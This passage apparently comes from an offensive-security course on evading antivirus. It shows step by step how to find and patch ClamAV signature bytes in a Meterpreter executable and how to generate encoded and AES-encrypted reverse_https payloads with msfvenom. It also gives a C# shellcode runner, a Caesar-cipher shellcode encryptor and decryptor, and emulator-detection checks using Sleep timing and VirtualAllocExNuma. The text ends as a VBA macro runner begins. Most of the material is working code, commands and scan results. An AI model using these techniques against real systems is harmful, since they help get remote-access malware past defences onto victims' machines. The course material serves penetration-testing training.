C:\Tools\avtest3\met_19000.bin: Win.Trojan.MSShellcode-7 FOUND
...

Listing 7 - Scanning the 100 byte interval range

The output reveals two different signatures. The first is located
between 18800 and 18900 and the other is located between 18900 and
19000.

The best approach is to handle each signature individually, so we'll
first divide the 18800 to 18900 range into 10-byte segments, saving
the results to a new directory.

PS C:\Tools> Find-AVSignature -StartByte 18800 -EndByte 18900 -Interval 10 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest4 -Verbose -Force

Listing 8 - Reducing the interval to 10 bytes

We'll then scan these segments as shown in Listing
9.

PS C:\Program Files\ClamAV> .\clamscan.exe C:\Tools\avtest4
C:\Tools\avtest4\met_18800.bin: OK
C:\Tools\avtest4\met_18810.bin: OK
C:\Tools\avtest4\met_18820.bin: OK
C:\Tools\avtest4\met_18830.bin: OK
C:\Tools\avtest4\met_18840.bin: OK
C:\Tools\avtest4\met_18850.bin: OK
C:\Tools\avtest4\met_18860.bin: OK
C:\Tools\avtest4\met_18870.bin: Win.Trojan.Swrort-5710536-0 FOUND
C:\Tools\avtest4\met_18880.bin: Win.Trojan.Swrort-5710536-0 FOUND
C:\Tools\avtest4\met_18890.bin: Win.Trojan.Swrort-5710536-0 FOUND
C:\Tools\avtest4\met_18900.bin: Win.Trojan.Swrort-5710536-0 FOUND
...

Listing 9 - Scanning the 10 byte interval
range

Let's narrow this down again, by splitting the 18860-18870 range into
one-byte intervals. We'll save the results to a new directory and scan
it:

PS C:\Program Files\ClamAV> .\clamscan.exe C:\Tools\avtest5
C:\Tools\avtest5\met_18860.bin: OK
C:\Tools\avtest5\met_18861.bin: OK
C:\Tools\avtest5\met_18862.bin: OK
C:\Tools\avtest5\met_18863.bin: OK
C:\Tools\avtest5\met_18864.bin: OK
C:\Tools\avtest5\met_18865.bin: OK
C:\Tools\avtest5\met_18866.bin: OK
C:\Tools\avtest5\met_18867.bin: Win.Trojan.Swrort-5710536-0 FOUND
C:\Tools\avtest5\met_18868.bin: Win.Trojan.Swrort-5710536-0 FOUND
C:\Tools\avtest5\met_18869.bin: Win.Trojan.Swrort-5710536-0 FOUND
C:\Tools\avtest5\met_18870.bin: Win.Trojan.Swrort-5710536-0 FOUND
...

Listing 10 - Scanning the 1 byte interval range

Since the byte at offset 18867 of the Meterpreter executable is
part of the ClamAV signature, let's change it in an attempt to evade
detection.

We'll use PowerShell_ISE to read the bytes of the Meterpreter
executable, zero out the byte at offset 18867, and write the modified
executable to a new file, met_mod.exe:

$bytes  = [System.IO.File]::ReadAllBytes("C:\Tools\met.exe")
$bytes[18867] = 0
[System.IO.File]::WriteAllBytes("C:\Tools\met_mod.exe", $bytes)

Listing 11 - Modifying the Meterpreter executable

To find out if the modification worked, we'll repeat the
split and scan, this time on the modified executable. Listing
12 shows a scan of the one-byte split between
offset 18860 and 18870.

PS C:\Program Files\ClamAV> .\clamscan.exe C:\Tools\avtest6
C:\Tools\avtest6\met_mod_18860.bin: OK
C:\Tools\avtest6\met_mod_18861.bin: OK
C:\Tools\avtest6\met_mod_18862.bin: OK
C:\Tools\avtest6\met_mod_18863.bin: OK
C:\Tools\avtest6\met_mod_18864.bin: OK
C:\Tools\avtest6\met_mod_18865.bin: OK
C:\Tools\avtest6\met_mod_18866.bin: OK
C:\Tools\avtest6\met_mod_18867.bin: OK
C:\Tools\avtest6\met_mod_18868.bin: OK
C:\Tools\avtest6\met_mod_18869.bin: OK
C:\Tools\avtest6\met_mod_18870.bin: OK
...

Listing 12 - Scanning the modified
executable

As we can see, this did effectively bypass the signature detection.

Sometimes, modifying the byte at the exact offset will not evade
the signature, but modifying the byte before or after it will.

We succeeded in evading the signature match by modifying a single
byte. Recalling that another signature was detected in the offset
range 18900 to 19000, we'll repeat the procedure and locate the first
offending byte.

After several iterations, we discover that the byte at offset
18987 contains the first signature byte as shown in Listing
13. Note that we are now running the split
on our modified executable, which contains our first signature
modification.

PS C:\Program Files\ClamAV> .\clamscan.exe C:\Tools\avtest8
C:\Tools\avtest8\met_mod_18980.bin: OK
C:\Tools\avtest8\met_mod_18981.bin: OK
C:\Tools\avtest8\met_mod_18982.bin: OK
C:\Tools\avtest8\met_mod_18983.bin: OK
C:\Tools\avtest8\met_mod_18984.bin: OK
C:\Tools\avtest8\met_mod_18985.bin: OK
C:\Tools\avtest8\met_mod_18986.bin: OK
C:\Tools\avtest8\met_mod_18987.bin: Win.Trojan.MSShellcode-7 FOUND
C:\Tools\avtest8\met_mod_18988.bin: Win.Trojan.MSShellcode-7 FOUND
C:\Tools\avtest8\met_mod_18989.bin: Win.Trojan.MSShellcode-7 FOUND
C:\Tools\avtest8\met_mod_18990.bin: Win.Trojan.MSShellcode-7 FOUND

Listing 13 - Locating the second signature

Once again we have evaded the second signature by modifying this
single byte.

If we continue following this procedure, we find that all bytes evade
detection, but the complete file is detected. We can evade this by
changing the last byte at offset 73801. In this instance, changing the
byte to 0x00 does not produce a clean scan, but changing it to 0xFF
does.

To fully evade the signature scan, we end up with the following
PowerShell script:

$bytes  = [System.IO.File]::ReadAllBytes("C:\Tools\met.exe")
$bytes[18867] = 0
$bytes[18987] = 0
$bytes[73801] = 0xFF
[System.IO.File]::WriteAllBytes("C:\Tools\met_mod.exe", $bytes)

Listing 14 - Complete modification of the
Meterpreter executable

Again, note that the number of signature detections and offsets
may vary.

Performing a final scan of the complete modified Meterpreter
executable, we find that it successfully evades detection by ClamAV.

PS C:\Program Files\ClamAV> .\clamscan.exe C:\Tools\avtest14
C:\Tools\avtest14\met_mod.exe: OK

Listing 15 - Bypassing signature detection of
ClamAV

With a fully modified Meterpreter executable that bypasses ClamAV,
we can launch a Metasploit multi/handler and execute the malicious
binary but unfortunately, nothing happens.

We may have successfully bypassed the signature detection, but we have
also destroyed some functionality inside our executable. Remember that
the Meterpreter executable contains the first stage shellcode and we
have likely changed something in either the shellcode itself or the
part of the executable that runs it.

There is only one option to rectify this problem and that is to
reverse engineer exactly what those three bytes do and attempt to
modify them in such a way that the executable still works.

This can be tedious work, especially considering that the byte offsets
may change every time we regenerate the Meterpreter executable, and
even though we are bypassing ClamAV, we may not be bypassing other
antivirus products.

To demonstrate this, let's open File Explorer and navigate to
the folder containing our final met_mod.exe. If we
right-click it, and choose "Scan selected files with Avira",
we find that Avira does, in fact flag it as malicious (Figure
2).

Figure 2: Scanning met_mod.exe with Avira

This technique works in theory and it sounds relatively
straight-forward, but is not very effective in the real world,
especially considering the fact that we would still have to contend
with heuristic scanning.

Instead of continuing with this approach, in the next section we will
attempt to encode or encrypt the offending code.

Exercise

  1. Generate a 32-bit Meterpreter executable and use Find-AVSignature
    to bypass any ClamAV signature detections. Does the modified
    executable return a shell?

Bypassing Antivirus with Metasploit

In the previous section, we determined that Avira and ClamAV flag the
standard 32-bit Meterpreter executable.

Metasploit contains a number of encoders[280] that can encode
the Meterpreter shellcode, subsequently obfuscating the assembly
code. In this section, we'll generate 32-bit and 64-bit payloads
that we will encode and encrypt with msfvenom in an attempt to bypass
signature detection.

Metasploit Encoders

When Metasploit was released, the msfpayload and msfencode tools
could be used to encode shellcode in a way that effectively bypassed
antivirus detection. However, AV engines have improved over the years
and the encoders are generally used solely for character substitution
to replace bad characters in exploit payloads. Nonetheless, in
this section, we'll use msfvenom (a merge of the old msfpayload and
msfencode tools) to attempt a signature bypass.

To begin, let's list the available encoders by running
msfvenom with the --list encoders option (Listing
16):

kali@kali:~$ msfvenom --list encoders

Framework Encoders [--encoder <value>]
======================================

    Name                          Rank       Description
    ----                          ----       -----------
 ...
    x64/xor                       normal     XOR Encoder
    x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder
    x64/xor_dynamic               normal     Dynamic key XOR Encoder
    x64/zutto_dekiru              manual     Zutto Dekiru
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/bmp_polyglot              manual     BMP Polyglot
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
    x86/xor_dynamic               normal     Dynamic key XOR Encoder

Listing 16 - Listing msfvenom encoders

The x86/shikata_ga_nai encoder (highlighted above) is a
commonly-used polymorphic encoder[281] that produces different
output each time it is run, making it effective for signature evasion.

We'll enable this encoder with the -e option, supplying the
name of the encoder as an argument, and we'll supply the other typical
options as shown in Listing 17:

kali@kali:~$ sudo msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -e x86/shikata_ga_nai -f exe -o /var/www/html/met.exe
...
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 635 (iteration=0)
x86/shikata_ga_nai chosen with final size 635
Payload size: 635 bytes
Final size of exe file: 73802 bytes
Saved as: /var/www/html/met.exe

Listing 17 - Encoding with x86/shikata_ga_nai

Since the assembly code has been obfuscated, we'll copy the generated
executable to our Windows 10 victim machine and scan it with ClamAV as
shown in Listing 18.

PS C:\Program Files\ClamAV> .\clamscan.exe C:\Tools\met.exe
C:\Tools\met.exe: Win.Trojan.Swrort-5710536-0 FOUND
...

Listing 18 - Scanning encoded executable with
ClamAV

Based on the output above, ClamAV detected the encoded shellcode
inside the executable. This failed because the encoded shellcode must
be decoded to be able to run and this requires a decoding routine.
This decoding routine itself is not encoded, meaning it is static
each time, making the decoder itself a perfect target for signature
detection.

Let's try a different approach. Since 64-bit applications have only
become popular in recent years, it stands to reason that 64-bit
malware and payloads are less common. Perhaps this relative rarity
will provide us an advantage.

To test this theory, let's generate a 64-bit Meterpreter without
encoding:

kali@kali:~$ sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f exe -o /var/www/html/met64.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 741 bytes
Final size of exe file: 7168 bytes
Saved as: /var/www/html/met64.exe

Listing 19 - Generating a 64-bit Meterpreter executable

We'll copy it to our Windows 10 victim machine and scan it with ClamAV
as shown in Listing 20.

PS C:\Program Files\ClamAV> .\clamscan.exe C:\Tools\met64.exe
C:\Tools\met64.exe: OK
...

Listing 20 - Scanning 64-bit executable with ClamAV

Interesting. ClamAV does not flag this as malicious.

Since this is a major victory, let's push our luck and scan the file
with Avira as well. Since we're only interested in signature detection
at this point, we'll execute Avira desktop, navigate to Antivirus >
Real-Time Protection and verify that real-time protection is turned
off.

Next, we'll click on the configuration menu at the upper-right corner
as shown in Figure 3.

Figure 3: Avira antivirus configuration menu

In the configuration window, we'll expand the System Scanner branch,
navigate to Scan > Heuristics, then de-select the box labelled
"Enable AHeAD" (Figure 4).

Figure 4: Disabling heuristics in Avira

With the heuristics detection disabled, we'll right-click the
met64.exe executable and execute an on-demand scan with
Avira. As shown in Figure 5, Avira detects the
64-bit shellcode.

Figure 5: Avira detecting 64-bit Meterpreter executable

Next, let's use an encoder in an attempt to evade Avira. Since this is
a 64-bit executable, we cannot use the 32-bit shikataga_nai encoder.
Instead, we'll use the _x64/zutto_dekiru
encoder,[282] which
borrows many techniques from shikata_ga_nai.

kali@kali:~$ sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -e x64/zutto_dekiru -f exe -o /var/www/html/met64_zutto.exe
...
Attempting to encode payload with 1 iterations of x64/zutto_dekiru
x64/zutto_dekiru succeeded with size 840 (iteration=0)
x64/zutto_dekiru chosen with final size 840
Payload size: 840 bytes
Final size of exe file: 7168 bytes
Saved as: /var/www/html/met64_zutto.exe

Listing 21 - Encoding with x64/zutto_dekiru

However, Avira flags this as well, again detecting the signature
of the decoder or of the template. When msfvenom generates an
executable, it inserts the shellcode into a valid executable. This
template executable is static and likely has signatures attached to it
as well.

We could use the -x option to specify a different
template. To do this, we'll copy the notepad application located at
C:\Windows\System32\notepad.exe to Kali and use it as a
template as follows:

kali@kali:~$ sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.176.134 LPORT=443 -e x64/zutto_dekiru -x /home/kali/notepad.exe -f exe -o /var/www/html/met64_notepad.exe
...
Attempting to encode payload with 1 iterations of x64/zutto_dekiru
x64/zutto_dekiru succeeded with size 758 (iteration=0)
x64/zutto_dekiru chosen with final size 758
Payload size: 758 bytes
Final size of exe file: 370688 bytes
Saved as: /var/www/html/met64_notepad.exe

Listing 22 - Specifying notepad.exe as a template

We'll copy the generated executable to our Windows 10 victim machine
and again scan it with Avira. However, Avira flags it once again
(Figure 6).

Figure 6: Avira detecting Meterpreter with notepad template

So far, we have used Metasploit encoders to successfully bypass
ClamAV signature detection, but we were not successful against Avira.
Clearly, Metasploit encoders are no longer widely effective for this
purpose. In the next section, we will investigate the effectiveness of
specific encryption techniques for this task.

Exercise

  1. Experiment with different payloads, encoders, and templates to try
    to bypass signature detections in both ClamAV and Avira.

Metasploit Encryptors

Rapid7, the developers of Metasploit, launched updated options
for encryption in 2018, which were designed to address the growing
ineffectiveness of encoders for antivirus evasion. We will investigate
these options next.

Let's investigate the effectiveness of this feature. To begin, we'll
run msfvenom with --list encrypt to list the
encryption options:

kali@kali:~$ msfvenom --list encrypt

Framework Encryption Formats [--encrypt <value>]
================================================

    Name
    ----
    aes256
    base64
    rc4
    xor

Listing 23 - Listing msfvenom encryption types

Leveraging the strength of aes256[283] encryption, we'll generate
an executable with aes256-encrypted shellcode and use a custom
encryption key through the --encrypt-key option (Listing
24).

kali@kali:~$ sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 --encrypt aes256 --encrypt-key fdgdgj93jf43uj983uf498f43 -f exe -o /var/www/html/met64_aes.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 625 bytes
Final size of exe file: 7168 bytes
Saved as: /var/www/html/met64_aes.exe

Listing 24 - Using AES256 encryption with
msfvenom

Let's copy the encrypted executable to our Windows 10 victim machine
and run an on-demand Avira scan:

Figure 7: Avira detecting AES encrypted Meterpreter

Unfortunately, our executable is still flagged. A Rapid7 blog
post[284] suggests this feature is effective for antivirus
evasion, but the decryption routine itself can still be detected since
it is static.

Our analysis so far has revealed that encryption will not be effective
for bypassing security solutions if the decoding or decryption
techniques are static, since they will be analyzed and eventually
signatures will be written for them.

It's time to change tactics once again. The most effective solution at
this point is to write our own shellcode runner. In the next section,
we'll begin this process.

Exercises

  1. Generate a Metasploit executable using aes256 encryption and verify
    that it is flagged.
  2. Experiment with different payloads, templates, and encryption
    techniques to attempt to bypass Avira.

Bypassing Antivirus with C#

As we have discovered, public code and techniques are often flagged
by antivirus software. This makes sense since antivirus vendors
have access to this code as well and have taken the time to properly
analyze it.

There are two effective ways to avoid detection. We can either write
our own code with custom shellcode runners or manually obfuscate any
code we use.

Since we have already implemented a shellcode runner in C#, we will
use that as the basis of our approach.

C# Shellcode Runner vs Antivirus

The C# shellcode runner we developed earlier used VirtualAlloc,
CreateThread, and WaitForSingleObject but included un-encoded and
un-encrypted 64-bit Meterpreter shellcode.

Let's try to compile the standalone shellcode runner, which is
presented in Listing 25 as a 64-bit application.

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Net;
using System.Text;
using System.Threading;

namespace ConsoleApp1
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, 
            uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, 
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, 
                  uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, 
            UInt32 dwMilliseconds);
        
        static void Main(string[] args)
        {
            byte[] buf = new byte[752] {
              0xfc,0x48,0x83,0xe4...

            int size = buf.Length;

            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);

            Marshal.Copy(buf, 0, addr, size);

            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, 
                IntPtr.Zero, 0, IntPtr.Zero);

            WaitForSingleObject(hThread, 0xFFFFFFFF);
        }
    }
}

Listing 25 - Shellcode runner in C#

Let's compile this code, copy the compiled executable to the Windows
10 victim machine, and perform an on-demand scan with Avira:

Figure 8: Custom C# shellcode runner bypassing Avira

Nice! Our custom shellcode runner bypassed Avira's signature detection
as shown in Figure 8.

We finally managed to bypass the Avira signature based detection.
A ClamAV scan is also clean meaning our code is undetected by
ClamAV as well.

While the immediate goal has been accomplished by simply writing our
own executable, we would like to know how effective this bypass is.
Let's scan our executable with AntiScan.Me. The results are
displayed in Figure 9:

Figure 9: Custom C# shellcode runner detection with AntiScan.Me

The report indicates that 11 of the 26 engines flagged our executable.
This is not bad for a first attempt, especially considering that these
engines executed both signature and heuristic scans. However, there's
still room to Try Harder.

Remember that uploading the executable to VirusTotal also sends
the data to antivirus vendors for analysis. This could potentially
expose the code we just developed.

The most commonly-used technique of bypassing antivirus is to
obfuscate the embedded shellcode so we will address that next.

Exercises

  1. Compile the C# shellcode runner and use it to bypass Avira and
    ClamAV.
  2. Enable the heuristics in Avira. Is the code still flagged?

Encrypting the C# Shellcode Runner

The key to bypassing antivirus signature detections is custom code,
and since we want to encrypt the shellcode, we must also create a
custom decryption routine to avoid detection.

When we tried to use encryption with msfvenom, we took advantage
of the highly secure and complex aes256 encryption algorithm, but
implementing an aes256 decryption routine is not straightforward
so we will opt for the much less secure, but easier-to-use Caesar
Cipher
.[285]

The Caesar cipher was one of the earliest encryption schemes and
is very simple. It is categorized as a substitution cipher since it
substitutes a letter or number by shifting it to the right by the
number specified in the key.

As an example, we'll encrypt the word "Caesar" with a Caesar cipher
and a substitution key of 1 (Listing 26):

Input   Output
C   ->  D
a   ->  b
e   ->  f
s   ->  t
a   ->  b
r   ->  s

Listing 26 - Caesar cipher at work

This is a very simple routine and its reverse is just as simple.
We can rotate the same number of letters to the left to regain the
original text.

Obviously, this encryption scheme is inherently flawed from a
communication security standpoint since it is very easy to break.
However, it will work well for our purposes, since we can easily
implement it without using external libraries and it will remove
static signatures from the shellcode.

The first step is to create an application that can encrypt our
shellcode. We'll create a new C# Console App project in Visual Studio
called "Helper".

We'll generate Meterpreter shellcode, embed it in the C# code,
and implement the encryption routine as displayed in Listing
27.

namespace Helper
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[752] {
                0xfc,0x48,0x83,0xe4,0xf0...
                
            byte[] encoded = new byte[buf.Length];
            for(int i = 0; i < buf.Length; i++)
            {
                encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
            }

Listing 27 - Encryption routine with Caesar
cipher

In Listing 27, we chose a substitution key of 2,
iterated through each byte value in the shellcode, and simply added 2
to its value. We performed a bitwise AND operation with 0xFF to keep
the modified value within the 0-255 range (single byte) in case the
increased byte value exceeds 0xFF.

For us to be able to use the encrypted shellcode, we must print
it to the console, which we can do by converting the byte array
into a string with the StringBuilder[286] class and its
associated AppendFormat[287] method. To obtain a string
that has the same format as that generated by msfvenom, we'll
use a format string[288] as highlighted in Listing
28.

StringBuilder hex = new StringBuilder(encoded.Length * 2);
foreach(byte b in encoded)
{
    hex.AppendFormat("0x{0:x2}, ", b);
}

Console.WriteLine("The payload is: " + hex.ToString());

Listing 28 - Formatting shellcode and printing
it

Each substring starts with 0x followed by the formatted byte value. In
the format string, we are specifying a two-digit number in hexadecimal
format. Specifically, the first value of the format string (0:)
specifies the first argument that is to be formatted, which is the
byte value. The second part (x2) is the format specification, in
which "x" indicates hexadecimal output and "2" indicates the number of
digits in the formatted result.

Compiling the C# project and executing it from the command line
outputs our encrypted shellcode.

Now we can modify our existing C# shellcode runner project by copying
the encrypted shellcode into it and adding the decrypting routine as
shown in Listing 29. Since the decryption
sequence reverses the encryption sequence we'll use the substitution
key of 2 and subtract instead.

byte[] buf = new byte[752] {0xfe, 0x4a, 0x85, 0xe6, 0xf2...

for(int i = 0; i < buf.Length; i++)
{
    buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF);
}

Listing 29 - Decryption routine

Now, let's test the effectiveness of this bypass technique. Since this
unencrypted project bypassed both Avira and ClamAV, we'll scan it with
AntiScan.Me:

Figure 10: Detection rate of Caesar cipher encrypted shellcode runner

The result is impressive. Only 7 out of 26 antivirus programs flagged
our code. This is a huge improvement over our previous attempt, which
flagged 11 times.

This proves that a custom encryption or obfuscation approach
is well-suited to this task. It is staggering to consider how easy
it can be to bypass the signature detection of these high-profile
solutions.

At this point, we have had relative success bypassing signature
detection. In the next section, we will attempt to bypass heuristics
detection techniques.

Exercises

  1. Implement the Caesar cipher with a different key to encrypt the
    shellcode and bypass antivirus.
  2. Use the Exclusive or (XOR)[289] operation to create a different
    encryption routine and bypass antivirus. Optional: How effective is
    this solution?

Messing with Our Behavior

As previously mentioned, most antivirus products implement heuristic
detection techniques that simulate the execution of the file
in question. This behavior analysis is performed in addition to
standard signature detection, so in this section we must bypass both
techniques.

The typical way to bypass a heuristics scan is to make the malware
or stager perform some actions that will execute differently when
emulated rather than when they are actually executed on the client.

We must write code that can determine if it is being run as a
simulation. If we determine that our code is being run in a simulator,
we can simply exit the program without executing potentially suspect
code. Otherwise, if the program is executing on the client, we can
execute our intended code, safe from the antivirus program's heuristic
detection routine.

Simple Sleep Timers

One of the oldest behavior analysis bypass techniques revolves around
time delays. If an application is running in a simulator and the
heuristics engine encounters a pause or sleep instruction, it will
"fast forward" through the delay to the point that the application
resumes its actions. This avoids a potentially long wait time during a
heuristics scan.

One simple way to take advantage of this is with the Win32
Sleep[290] API, which suspends the execution of the calling
thread for the amount of time specified. If this section of code
is being simulated, the emulator will detect the Sleep call and
fast-forward through the instruction.

If our program observes the time of day before and after the Sleep
call, we can easily determine if the call was fast-forwarded. For
example, we can inject a two-second delay, and if the time checks
indicate that two seconds have not passed during the instruction, we
assume we are running in a simulator and can simply exit before any
suspect code is run.

Let's try this out. We'll reuse the original unencrypted C# shellcode
runner and insert Sleep into the Main method to detect time
lapse. To do so we must also include the pinvoke import statement for
Sleep:

...
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
        
static void Main(string[] args)
{
    DateTime t1 = DateTime.Now;
    Sleep(2000);
    double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
    if(t2 < 1.5)
    {
        return;
    }
...

Listing 30 - Performing a Sleep call to evade
emulation

In this code, we use the DateTime[291] object and its
associated Now[292] method to fetch the local computer's
current date and time.

To determine the elapsed time, we use the Subtract[293]
method and convert this into seconds with the TotalSeconds
property.[294]

Next, we try to determine if the Sleep call has been emulated by
inspecting the time lapse. In this case, we are testing for a lapse
of 1.5 seconds to allow for inaccuracies in the time measurement. If
the time lapse is less than 1.5 seconds, we can assume the call was
emulated and simply exit instead of executing shellcode.

After compiling the C# project, we find that on AntiScan.Me,
11 products flagged the C# shellcode runner (Figure
11), which is the same detection rate as
the original:

Figure 11: Detection rate of Sleep timer in unencrypted shellcode runner

The detection rate is identical due to signature detections, so the
next step is to combine the encrypted shellcode with the time-lapse
detection. We can reuse the Caesar cipher along with the Sleep
function to attempt a bypass of both detection mechanisms.

By inserting the Sleep call and the time-lapse detection into the
Caesar ciphered C# shellcode runner project, we have combined both
techniques. Performing a scan with the compiled executable yields an
interesting result:

Figure 12: Detection rate of Sleep timer in encrypted shellcode runner

This time, only six products flagged our code. This is an improvement
as we have bypassed Windows Defender detection, which is installed by
default on most modern Windows-based systems.

This improved evasion is rather surprising considering the Sleep
function has been used for behavior evasion for more than a decade.
We are very close to evading all the antivirus products supported by
AntiScan.Me, so in the next section, we'll move on to other heuristic
bypass techniques.

Exercises

  1. Implement the Sleep function to perform time-lapse detection in
    the C# project both with and without encryption.
  2. Convert the C# project into a Jscript file with DotNetToJscript. Is
    it detected?

Non-emulated APIs

Antivirus emulator engines only simulate the execution of most common
executable file formats and functions. Knowing this, we can attempt
to bypass detection with a function (typically a Win32 API) that is
either incorrectly emulated or is not emulated at all.

In general, there are two ways of locating non-emulated APIs. The
first is to reverse engineer the antivirus emulator, but due to the
highly complex software, this will be very time consuming. A second,
and perhaps simpler, way is to test out various APIs against the AV
engine. The general concept is that when the AV emulator encounters
a non-emulated API, its execution will fail. In these cases, our
malicious program will have a chance to detect AV emulation by simply
testing the API result and comparing it with the expected result.

For example, consider the Win32 VirtualAllocExNuma[295] API.
The "Numa" suffix (which refers to a system design to optimize memory
usage on multi-processor servers[296]) makes this a relatively
uncommon API.

In essence, this API allocates memory just like VirtualAllocEx but
it is optimized to be used with a specific CPU. Obviously, this type
of optimization is not required on a standard single-CPU workstation.

There is no "master list" for obscure APIs, but browsing APIs on
MSDN and reading about their intended purposes may provide clues as to
how common they may be.

Because of this, some antivirus vendors do not emulate
VirtualAllocExNuma and, in this case, its execution by the AV
emulator will not result in a successful memory allocation. Let's try
this out with a simple proof-of-concept.

Sadly, pinvoke.net does not contain an entry
for VirtualAllocExNuma, but we can compare the C type
function prototype of VirtualAllocEx[297]
and VirtualAllocExNuma[298] as shown in Listing
31.

LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

LPVOID VirtualAllocExNuma(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect,
  DWORD  nndPreferred
);

Listing 31 - Function prototype for VirtualAllocEx(Numa)

In the two function prototypes above, the last argument is different
and is a simple DWORD type. This means we can reuse the pinvoke import
for VirtualAllocEx and manually add an extra argument of type UInt32
as shown in Listing 32:

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, 
    uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);

Listing 32 - DllImport statement for VirtualAllocExNuma

As for VirtualALlocEx, the Numa version accepts as the first
argument the handle for the process in which we want to allocate
memory. In our case, we simply want to allocate memory in the address
space of the currently running process. An easy way to obtain a handle
to the current process is with the Win32 GetCurrentProcess[299]
API. This does not take arguments, so the import is rather simple as
shown below in Listing 33.

[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();

Listing 33 - DllImport statement for GetCurrentProcess

The next four arguments for the Numa variant are similar to the
VirtualAllocEx API, which specify the allocated memory address,
the size of the allocation, the allocation type, and the type of
memory protection. We can reuse the values we used previously for
VirtualAllocEx and will specify IntPtr.Zero, 0x1000, 0x3000, and
0x4.

Lastly, we must specify the target NUMA node for the allocation.
In the case of a multiprocessing computer, this is essentially the
CPU where the physical memory for our allocation should reside.
Since we expect to be on a single CPU workstation, we pass a value of
"0" (to specify the first node).

The invocation of VirtualAllocExNuma and the subsequent emulation
detection is shown below in Listing 34.

IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if(mem == null)
{
    return;
}

Listing 34 - Calling VirtualAllocExNuma and
detecting emulation

If the API is not emulated and the code is run by the AV emulator, it
will not return a valid address. In this case, we simply exit from the
application without performing any malicious actions, similar to the
implementation using Sleep.

We'll insert the small simulation detection code snippet into the
C# shellcode runner that uses Caesar cipher encryption without the
Sleep call. We'll compile it and check it against AntiScan.Me:

Figure 13: Detection rate of VirtualAllocExNuma with encrypted shellcode runner

Very nice! Our new code was only flagged by four antivirus products.

We have managed to successfully bypass most antivirus products
supported by AntiScan.Me by combining simple encryption and
non-emulated APIs.

Now that we've had success with our C# shellcode runner, we can expand
our tradecraft to the other attack vectors including Microsoft Office
documents and PowerShell.

Exercises

  1. Implement a heuristics detection bypass with VirtualAllocExNuma.
  2. Use the Win32 FlsAlloc[300] API to create a heuristics
    detection bypass.
  3. Experiment and search for additional APIs that are not emulated by
    antivirus products.

Office Please Bypass Antivirus

We have performed an extensive and thorough analysis of how to bypass
antivirus detections both in theory and in practice as it relates to
our C# shellcode runner. Next, we'll turn our attention to Microsoft
Office and attempt to evade antivirus when using VBA macros.

Bypassing Antivirus in VBA

To begin, let's scan our existing VBA shellcode runner with
AntiScan.Me.

The complete VBA macro is repeated in Listing 35 for
ease of reference:

Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
